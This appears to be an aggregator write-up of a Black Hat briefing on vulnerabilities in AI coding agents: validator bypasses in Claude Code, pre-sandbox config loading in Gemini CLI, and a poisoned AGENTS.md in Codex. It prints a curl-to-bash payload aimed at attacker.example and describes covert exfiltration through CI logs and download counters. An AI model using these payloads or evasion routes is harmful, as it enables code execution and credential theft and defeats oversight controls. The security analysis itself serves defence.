Build1 distinct publisher3 min readPublished
Novee Security's Black Hat findings land the same lesson on three agents: a validator that inspects a cleaned-up copy of a command is not a control, and a sandbox built too late is not one either.
The Engineer · Build desk

Compiled by The EngineerSomething wrong?How this is made
Counting checks tells you nothing about coverage. All 23 of Claude Code's command-validation checks ran on the command string after a preprocessing step had stripped single-quoted text out of it [4][5], so the number of checks that ever looked at single-quoted content was zero [6]. The demonstration payload, `git push --receive-pack='$(curl -s https://attacker.example/payload | bash)' origin main`, presented the validator with `git push origin main` while the shell received the whole thing [7].
That is a parser differential rather than a missing rule, and the two bypasses Novee reported after Anthropic's patch are the proof: the patch removed the strip but left the validator inspecting a sanitized representation instead of the command that would actually execute [8][11]. One bypass read files with `tac` because `cat` was still blocked and moved an API key out through a public GitHub Actions log, reversing the key on write so the log scanner would not flag it [9]. The other encoded data in the download counter on a public HuggingFace model page, with no DNS or HTTP callback involved [10].
The other two findings are about ordering. Gemini CLI in headless CI loaded `.gemini/.env` from the repository and trusted it before the sandbox started, letting a malicious file inject API endpoints and credentials ahead of any boundary [13]. Its `--yolo` allowlist was parsed and never enforced, so anything resembling an allowlisted command passed as pre-approved [14]. Once inside the sandbox, the agent could read `/proc` and pull the parent process environment [15]. In Codex, two CI steps shared a working directory, the first could write `AGENTS.md`, and the second loaded it as instructions even though OpenAI's own documentation classifies that file as untrusted input [17][18]. In two of the three cases, repository-controlled input was trusted before the security boundary existed [22].
Which is the awkward part for anyone reaching for allowlist-and-sandbox as the answer. Gemini CLI nominally had both [13][14]. Neither sat where it needed to sit: the allowlist was not consulted at the moment of execution, and the sandbox was constructed after untrusted configuration had already been read. The control is not the existence of a list or a container, it is the placement. Enforce on the argument vector the operating system will receive, and stand the boundary up before the first repository file is opened.
The scale of the exposure is in the defaults, not the bugs. Novee found the same vulnerable default patterns in more than 100 public repositories, with the multi-pass arrangement of one agent writing configuration for another widely copied [19]. The Codex fix was job isolation and took three days [20], which says the shared checkout was a convenience nobody had argued for, and that convenience is still sitting in other people's pipelines. Elad Meged of Novee put the boundary where it belongs: "The harness is the code between the model and the real world" [21].
Ranked by verification strength, evidence, and original report placement.
CVE-2026-54316 carries a CVSS v4 score of 6.0 and affects Claude Code versions >=0.2.54 and <2.1.163.
Claude Code's command validator ran 23 security checks on every command before allowing execution.
Before any of the 23 checks ran, a preprocessing step stripped single-quoted text from the command string, with the effect that anything inside single quotes was invisible to every security check.
The payload git push --receive-pack='$(curl -s https://attacker.example/payload | bash)' origin main was seen by the validator as git push origin main, while the shell saw something else entirely.
CVE-2026-12537, tracked as GHSA-wpqr-6v78-jr5g, carries a CVSS v3.1 score of 10.0, the maximum, with vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
Novee Security's Black Hat USA 2026 briefing "Trusted Enough to Run: Breaking AI Agents in Official Workflows" reported three distinct exploitable vulnerabilities in three widely used AI coding agents, each found in the agent's own repository and each triggered by code the agent was asked to review.
Follow any of these and your For You feed starts watching them — no settings page required.
Evidence-backed comparisons of source perspectives and observed adoption signals. Read the methodology
Which Builder, Operator, and Investor concerns the observed source mix emphasized—not a truth score.
Evidence, demonstrated adoption, hype gap, incentives, and confidence are assessed independently, each on its own current evidence. How these are measured.
Detailed but single-source retelling with no primary advisories
The technical account is unusually specific and internally consistent: named CVE and GHSA identifiers, a full CVSS vector, affected version ranges, a reproducible payload, and named fix releases. But the entire cluster is one dev.to practitioner post summarizing another party's briefing; no advisory, CVE record, repository commit, or second outlet is present to verify identifiers, scores, or the vendor classifications, and the body is truncated before its argument concludes.
Vendors shipped named fixes; exposure scale asserted, not measured
Remediation uptake is concretely evidenced: an affected Claude Code range plus patch, fixes in three named Gemini CLI and run-gemini-cli versions, and a three-day Codex job-isolation change. What is not measured is exposure breadth: install and star counts for Gemini CLI and the 100-plus repository pattern figure are asserted without sources, and there is no evidence of exploitation in the wild or of any affected downstream organization.
Real findings, generalized past the evidence toward a remedy pitch
The core mechanics are specific and plausible, and the vendors' own fixes corroborate that something needed fixing, so this is not fabricated hype. Overstatement comes from the framing layer: an absolute claim about what detection can never provide, a pivot to signed cryptographic receipts as the necessary answer without cost or feasibility evidence, and an unmethodized 100-plus-repository prevalence figure used to imply ecosystem-wide exposure.
Findings routed into an argument for a specific remedy category
Sourcing is single-channel and interested: the entire account derives from one security vendor's conference briefing, is quoted approvingly through that vendor's researcher, and the post's conclusion argues that only chains of signed cryptographic receipts can establish what crossed a trust boundary. That is a solution-category advocacy position layered on the disclosure, and the piece offers no counterargument or independent verification.
Mechanisms credible, specifics unverified in cluster
Confidence is moderate: the failure modes described (validating a sanitized command string, loading repository config before sandbox setup, re-reading an attacker-writable AGENTS.md across a shared checkout) are coherent and consistent with the named vendor fixes, and the derived trust-handoff pattern follows from the text. It is held down by single-publisher sourcing, absent primary advisories, unsourced scale figures, and a truncated body whose remedy argument cannot be evaluated.
product
Four leaderboards, four denominators: what you buy when you standardize on a coding agent1 distinct publisher
product
A 2x LLM bill is not a bug report: token spend is an observability problem1 distinct publisher
product
Agent protocols now share one landlord: A2A joins MCP and AGENTS.md at the Linux Foundation1 distinct publisher
build
The three bugs that decide whether an agent office survives the night1 distinct publisher
Distinct publishers with included, body-backed reporting in this cluster.
dev.to
1 article · August 25, 2026